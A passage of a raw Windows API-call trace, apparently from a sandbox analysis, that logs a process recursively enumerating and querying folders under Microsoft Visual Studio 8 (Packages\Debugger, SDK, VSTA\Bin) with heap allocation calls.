lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.165] NtClose (Handle=0x168) returned 0x0 [0089.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee9b8 [0089.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee9b8) returned 1 [0089.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130ff40 [0089.166] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0089.166] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.166] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 1 [0089.167] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 0 [0089.167] GetLastError () returned 0x12 [0089.167] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0089.167] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.167] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.167] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 1 [0089.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fe38 [0089.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0089.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages\\debugger"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.168] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages\\debugger"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.168] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.168] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.170] NtClose (Handle=0x168) returned 0x0 [0089.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310888) returned 1 [0089.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee9b8 [0089.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0089.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.171] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310990 [0089.171] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.171] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.171] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.171] GetLastError () returned 0x12 [0089.171] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0089.171] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.172] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.172] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.172] GetLastError () returned 0x12 [0089.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310990) returned 1 [0089.172] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0089.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee9b8) returned 1 [0089.172] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310888) returned 1 [0089.172] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 0 [0089.172] GetLastError () returned 0x12 [0089.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130ff40) returned 1 [0089.173] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fe38) returned 1 [0089.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.173] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0089.173] GetLastError () returned 0x12 [0089.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.174] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0089.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.174] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SDK", cAlternateFileName="")) returned 1 [0089.174] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.174] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\sdk"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.175] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\sdk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.175] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.175] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.175] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.175] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.175] NtClose (Handle=0x180) returned 0x0 [0089.176] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.176] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee9b8 [0089.176] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.177] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.177] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.177] GetLastError () returned 0x12 [0089.177] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.177] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.177] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.177] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.177] GetLastError () returned 0x12 [0089.177] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee9b8) returned 1 [0089.177] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.178] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.178] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0089.178] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.178] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.179] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.179] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.180] NtClose (Handle=0x164) returned 0x0 [0089.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ee930) returned 1 [0089.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee930 [0089.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ee9b8 [0089.181] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0089.181] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.181] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 1 [0089.181] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 0 [0089.181] GetLastError () returned 0x12 [0089.181] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.181] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.181] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.181] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bin", cAlternateFileName="")) returned 1 [0089.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.182] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.182] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0089.182] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.182] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.182] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.183] NtClose (Handle=0x164) returned 0x0 [0089.183] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeac8) returned 1 [0089.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeac8 [0089.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eec60 [0089.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.183] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 